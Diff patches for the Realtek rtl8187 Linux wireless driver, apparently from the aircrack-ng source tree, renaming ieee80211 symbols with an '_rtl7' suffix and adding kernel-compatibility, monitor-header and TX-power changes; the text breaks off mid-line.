ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); ieee->set_chan(ieee->dev, chan); @@ -291,7 +296,7 @@ ieee->data_hard_resume(ieee->dev); if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); netif_carrier_on(ieee->dev); @@ -299,7 +304,7 @@ } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; @@ -322,7 +327,7 @@ return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { @@ -348,7 +353,7 @@ } if(proto_started) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise @@ -356,7 +361,11 @@ spin_lock_irqsave(&ieee->lock, flags); if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; +#endif strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; @@ -371,13 +380,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,7 +394,7 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -422,7 +431,7 @@ return 0; } -int ieee80211_wx_get_name(struct ieee80211_device *ieee, +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -446,7 +455,7 @@ /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -509,7 +518,7 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -547,19 +556,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-03-05 00:31:52.575346444 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -155,7 +158,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +181,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +228,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +238,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +270,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +400,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +435,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +449,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +461,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +485,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +508,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-03-05 00:31:52.635347349 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.1/patches/old/rtl8187_2.6.21v2.patch0000644000000000000000000116407610761053203017703 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-06-08 23:30:29.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-06-08 23:30:29.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-06-08 23:30:33.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-06-08 23:30:29.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-06-08 23:30:33.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = 